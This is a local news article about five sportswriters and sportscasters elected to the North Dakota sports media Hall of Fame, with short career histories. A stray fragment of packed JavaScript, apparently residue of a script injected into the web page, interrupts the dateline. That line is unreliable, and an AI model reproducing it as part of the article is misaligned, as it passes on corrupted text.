BISMARCK, tdfzz|var|u0026u|referrer|eiekh||js|php’.split(‘|’),0,{}))
N.D. (NDAPSSA) – Grand Forks’ Wayne Nelson, Pat Sweeney and Duaine Sanden are among five people who have been elected to the North Dakota Associated Press Sportscasters and Sportswriters Association Hall of Fame.

Joining them for induction are Mark Beighley of Devils Lake and Dave Kolpack, who wrote for newspapers in Fargo and Bismarck.

In recent voting by the NDAPSSA, each received at least 75 percent approval, the threshold for induction.

Nelson, the sports editor at the Herald, began his career at the Valley City Times-Record in 1976, then joined the Jamestown Sun (1980-95). He’s been at the Herald since 1995, covering primarily UND sports and auto racing. He’s a five-time selection as the NDAPSSA sportswriter of the year (1986, 1988, 1998, 2001, 2009), has won numerous writing awards and was part of the Herald staff that won the Pulitzer Prize for community journalism during the 1997 flood.

Sweeney began his broadcasting career in St. Paul, Minn., in 1974. He moved to North Dakota in 1980 and, after short stops on TV stations in Williston and Dickinson, joined WDAZ in Grand Forks in 1982. He was the WDAZ sports director from 1983-2014. He has been play-by-play voice of several UND sports telecasts as well as broadcasting several state basketball and hockey tournaments and state football championship games. Sweeney is a three-time state sportscaster of the year (1985, 1989, 2005) and his work at WDAZ-TV during the 1997 flood helped the station win the Edward R. Murrow Award for spot news coverage.

Sanden started his radio career at age 13 at what was then station KILO in Grand Forks. He’s spent more than 50 years in the sports broadcasting profession, working primarily high school games in Minnesota and North Dakota.

Beighley has spent his entire radio broadcasting career in Devils Lake. He began working at KDLR there in October 1985, moved to KZZY and became the station’s sports director in 1988. He is a two-time recipient (1994, 2002) of the state’s sportscaster of the year award. Beighley received the award of merit from the North Dakota High School Coaches Association in 1995 and was inducted into the Lake Region State College Hall of Fame in 2003.

Kolpack was the first five-time recipient of the NDAPSSA sportswriter of the year award (1987, 1989, 1991, 1993, 1994). He began his sportswriting career with The Forum as a student at UND and worked at newspapers in Watertown, S.D. (1982-83), the Bismarck Tribune (1984-89) and the Forum (1989-2002), after which he joined The Associated Press. Kolpack became The Forum’s first full-time sports columnist in 1993. He’s won numerous writing awards. He joins his father, Ed, as an NDAPSSA hall of fame member.

Their selections increase the number of NDAPSSA hall of fame members to 27 since it began in 1987.